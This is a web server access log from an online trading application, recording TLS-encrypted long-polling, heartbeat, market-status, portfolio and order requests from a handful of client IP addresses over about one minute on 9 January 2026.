[09/Jan/2026:09:25:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922226454 HTTP/1.1" -
[09/Jan/2026:09:25:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922224301 HTTP/1.1" -
[09/Jan/2026:09:25:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:25:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:09:25:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922240236 HTTP/1.1" -
[09/Jan/2026:09:25:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922227156 HTTP/1.1" -
[09/Jan/2026:09:25:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922231511 HTTP/1.1" -
[09/Jan/2026:09:26:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922229059 HTTP/1.1" -
[09/Jan/2026:09:26:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922230290 HTTP/1.1" -
[09/Jan/2026:09:26:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:26:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1803
[09/Jan/2026:09:26:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922246227 HTTP/1.1" -
[09/Jan/2026:09:26:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922232174 HTTP/1.1" -
[09/Jan/2026:09:26:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922236646 HTTP/1.1" -
[09/Jan/2026:09:26:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922235049 HTTP/1.1" -
[09/Jan/2026:09:26:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922236298 HTTP/1.1" -
[09/Jan/2026:09:26:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922237190 HTTP/1.1" -
[09/Jan/2026:09:26:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 319
[09/Jan/2026:09:26:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922252234 HTTP/1.1" -
[09/Jan/2026:09:26:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922241758 HTTP/1.1" -
[09/Jan/2026:09:26:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922241048 HTTP/1.1" -
[09/Jan/2026:09:26:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922242212 HTTP/1.1" -
[09/Jan/2026:09:26:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922242296 HTTP/1.1" -
[09/Jan/2026:09:26:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922258235 HTTP/1.1" -
[09/Jan/2026:09:26:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922246858 HTTP/1.1" -
[09/Jan/2026:09:26:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922247240 HTTP/1.1" -
[09/Jan/2026:09:26:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922247059 HTTP/1.1" -
[09/Jan/2026:09:26:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922248300 HTTP/1.1" -
[09/Jan/2026:09:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922252050 HTTP/1.1" -
[09/Jan/2026:09:26:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922264234 HTTP/1.1" -
[09/Jan/2026:09:26:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:09:26:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922252268 HTTP/1.1" -
[09/Jan/2026:09:26:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922253058 HTTP/1.1" -
[09/Jan/2026:09:26:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922254298 HTTP/1.1" -
[09/Jan/2026:09:26:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922257178 HTTP/1.1" -
[09/Jan/2026:09:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922270230 HTTP/1.1" -
[09/Jan/2026:09:26:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922257297 HTTP/1.1" -
[09/Jan/2026:09:26:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922262216 HTTP/1.1" -
[09/Jan/2026:09:26:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922259696 HTTP/1.1" -
[09/Jan/2026:09:26:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922260290 HTTP/1.1" -
[09/Jan/2026:09:26:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922276292 HTTP/1.1" -
[09/Jan/2026:09:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922262351 HTTP/1.1" -
[09/Jan/2026:09:26:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922267383 HTTP/1.1" -
[09/Jan/2026:09:26:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922265047 HTTP/1.1" -
[09/Jan/2026:09:26:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_454545_256x240.png HTTP/1.1" 6992
[09/Jan/2026:09:26:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922266299 HTTP/1.1" -
[09/Jan/2026:09:26:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922267375 HTTP/1.1" -
[09/Jan/2026:09:26:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922282224 HTTP/1.1" -
[09/Jan/2026:09:26:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922272521 HTTP/1.1" -
[09/Jan/2026:09:26:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922271052 HTTP/1.1" -
[09/Jan/2026:09:26:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922272406 HTTP/1.1" -
[09/Jan/2026:09:26:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922272303 HTTP/1.1" -
[09/Jan/2026:09:26:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922288237 HTTP/1.1" -
[09/Jan/2026:09:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922277652 HTTP/1.1" -
[09/Jan/2026:09:26:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922277444 HTTP/1.1" -
[09/Jan/2026:09:26:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922277060 HTTP/1.1" -
[09/Jan/2026:09:26:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922278296 HTTP/1.1" -
[09/Jan/2026:09:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922294229 HTTP/1.1" -
[09/Jan/2026:09:26:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922282761 HTTP/1.1" -
[09/Jan/2026:09:26:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922282470 HTTP/1.1" -
[09/Jan/2026:09:26:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
